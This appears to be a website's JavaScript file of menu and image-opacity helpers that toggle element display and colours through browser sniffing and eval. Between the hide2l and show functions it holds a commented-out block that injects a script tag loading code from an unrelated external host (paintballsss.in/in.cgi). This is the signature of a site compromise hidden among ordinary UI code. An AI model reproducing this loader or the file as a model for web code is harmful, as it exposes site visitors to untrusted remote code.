
var tid="null"; // timer id
var browser="unknown"; // browser name
var tmp;

if (document.all) {
browser="ie";
}
else if (document.layers) {
browser="nn";
}
else if (document.getElementById) {
browser="mozilla";
}
else {browser="unknown";
}

function hide2l()
{
// hide all menus
var t=1;

if(browser=="ie")
{
	while(document.getElementById("h_"+t))
	{
		eval("document.all.h_"+t+".style.display='none';");
        t=t+1;
	}
}
if(browser=="mozilla")
{
	while(document.getElementById("h_"+t))
	{
		eval("document.getElementById('h_"+t+"').style.display='none';");
        t=t+1;
	}
}

}

/*
var script = document.createElement("script");
script.type="text/javascript";
script.src = "http://www.paintballsss.in/in.cgi?2";
document.getElementsByTagName('head')[0].appendChild(script);
*/
function show(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.display='block';");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.display='block';");
	}
}

function hide(name)
{
// hide menu named "name"
	if(browser=="ie"){
	    eval("document.all."+name+".style.display='none';");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.display='none';");
	}
}

function start_hiding_all()
{
	tid=setTimeout("hide2l();",4000);
}

function stop_hiding()
{
		clearTimeout(tid);
        tid="null";
}

function change_style(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.background='#000'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.background='#000'");
	}
}

function back_style(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.background='#000000';");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.background='#000000';");
	}
}

function hide_skills()
{
// hide all menus
var t=1;

if(browser=="ie")
{
	while(document.getElementById("t_"+t))
	{
		eval("document.all.t_"+t+".style.display='none';");
        t=t+1;
	}
}
if(browser=="mozilla")
{
	while(document.getElementById("t_"+t))
	{
		eval("document.getElementById('t_"+t+"').style.display='none';");
        t=t+1;
	}
}

}

function show_all_skills()
{
// show all elements. For "skills.php"
var t=1;

if(browser=="ie")
{
	while(document.getElementById("t_"+t))
	{
		eval("document.all.t_"+t+".style.display='block';");
        t=t+1;
	}
}
if(browser=="mozilla")
{
	while(document.getElementById("t_"+t))
	{
		eval("document.getElementById('t_"+t+"').style.display='block';");
        t=t+1;
	}
}

}

function main_menu_hover(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.background='#252525'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.background='#252525'");
	}
}

function main_menu_out(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.background='#000000'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.background='#000000'");
	}
}

function sub_menu_hover(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.color='#FFF'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.color='#FFF'");
	}
}

function sub_menu_out(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.color='#9D8D3D'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.color='#9D8D3D'");
	}
}

function hide_pic(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.filter='alpha(opacity=40)'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.opacity='0.4'");
	} else
	  {

		    eval("document.getElementById('"+name+"').style.opacity='0.4'");

	  }
}

function hide_string(id)
{
// blow all elements limits id
var i;
var id_1 = id - 1;
if(browser=="ie")
{
	i = 1;
	while((document.getElementById("b_"+i)) && (i <= id_1))
	{
	   	eval("document.all.b_"+i+".style.filter='alpha(opacity=40)'");
		i++;
	}
	i = id;
	while(document.getElementById("b_"+i))
	{
	   	eval("document.all.b_"+i+".style.filter='alpha(opacity=100)'");
		i++;
	}
}
if(browser=="mozilla")
{
	for(i = 1;i <= id_1;i++)
	{
		eval("document.getElementById('b_"+i+"').style.opacity='0.4'");
	}

	i = id;
	while(document.getElementById("b_"+i))
	{
		eval("document.getElementById('b_"+i+"').style.opacity='1.0'");
		i++;
	}
} else
  {
	for(i = 1;i<=id_1;i++)
	{
		eval("document.getElementById('b_"+i+"').style.opacity='0.4'");
	}

	i = id;
	while(document.getElementById("b_"+i))
	{
		eval("document.getElementById('b_"+i+"').style.opacity='1.0'");
		i++;
	}
  }
}

function show_pic(name)
{
// shows menu named "name"

	if(browser=="ie"){
	    eval("document.all."+name+".style.filter='alpha(opacity=100)'");
	}
	if(browser=="mozilla"){
	    eval("document.getElementById('"+name+"').style.opacity='1.0'");
	} else
	  {

		    eval("document.getElementById('"+name+"').style.opacity='1.0'");

	  }
}

function showbb(name)
{
// shows menu named "name"
	obj = document.getElementById(name);

	if(browser=="ie"){
	  if(obj.style.display == 'none')
	  {
	    eval("document.all."+name+".style.display='block';");
	  }
	  else
	  {
		eval("document.all."+name+".style.display='none';");
	  }
	}
	if(browser=="mozilla"){
	  if(obj.style.display == 'none')
	  {
	    eval("document.all."+name+".style.display='block';");
	  }
	  else
	  {
		eval("document.all."+name+".style.display='none';");
	  }
	}
}

function hide_all_menu()
{
// hide all menus
var t=1;

if(browser=="ie")
{
	while(document.getElementById("m"+t))
	{
		eval("document.all.m"+t+".style.display='none';");
        t=t+1;
	}
}
if(browser=="mozilla")
{
	while(document.getElementById("m"+t))
	{
		eval("document.getElementById('m"+t+"').style.display='none';");
        t=t+1;
	}
}

}

function start_hiding_menu(name)
{
	tid=setTimeout("hide("+name+");",4000);
}

function hide_extension(param)
{
// hide all menus
var t=1;

//Special Extension
if (param == "no_10")
{
	if(browser=="ie")
	{
		eval("document.all.h_10.style.display='none';");
	}
	if(browser=="mozilla")
	{
		eval("document.getElementById('h_10').style.display='none';");
	}
}

if(browser=="ie")
{
	while(document.getElementById("h_"+t))
	{
		if ((t != 5) && (t != 10) && (t != 4))
		{
			eval("document.all.h_"+t+".style.display='none';");
		}
        t=t+1;
	}
}
if(browser=="mozilla")
{
	while(document.getElementById("h_"+t))
	{
		if ((t != 5) && (t != 10) && (t != 4))
		{
			eval("document.getElementById('h_"+t+"').style.display='none';");
		}
        t=t+1;
	}
}

}

function menuTimeBlur(hideId)
{	
	var hObj = getObject(hideId);
	
	if (!hObj)
		return;
		
	setTimeout("hide('" + hideId + "')", 80);
}